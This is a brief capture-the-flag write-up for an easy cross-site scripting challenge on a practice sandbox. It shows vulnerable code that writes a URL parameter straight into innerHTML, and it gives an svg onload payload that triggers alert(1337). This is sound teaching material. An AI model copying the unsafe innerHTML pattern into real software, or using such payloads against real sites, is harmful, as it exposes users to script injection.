Ma Spaghet!

Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

The solution is straight forward, the GET parameter somebody is assigned to spaghet.innerHTML in an unsafe way, so something as simple as the following would work.

<svg onload=alert(1337)>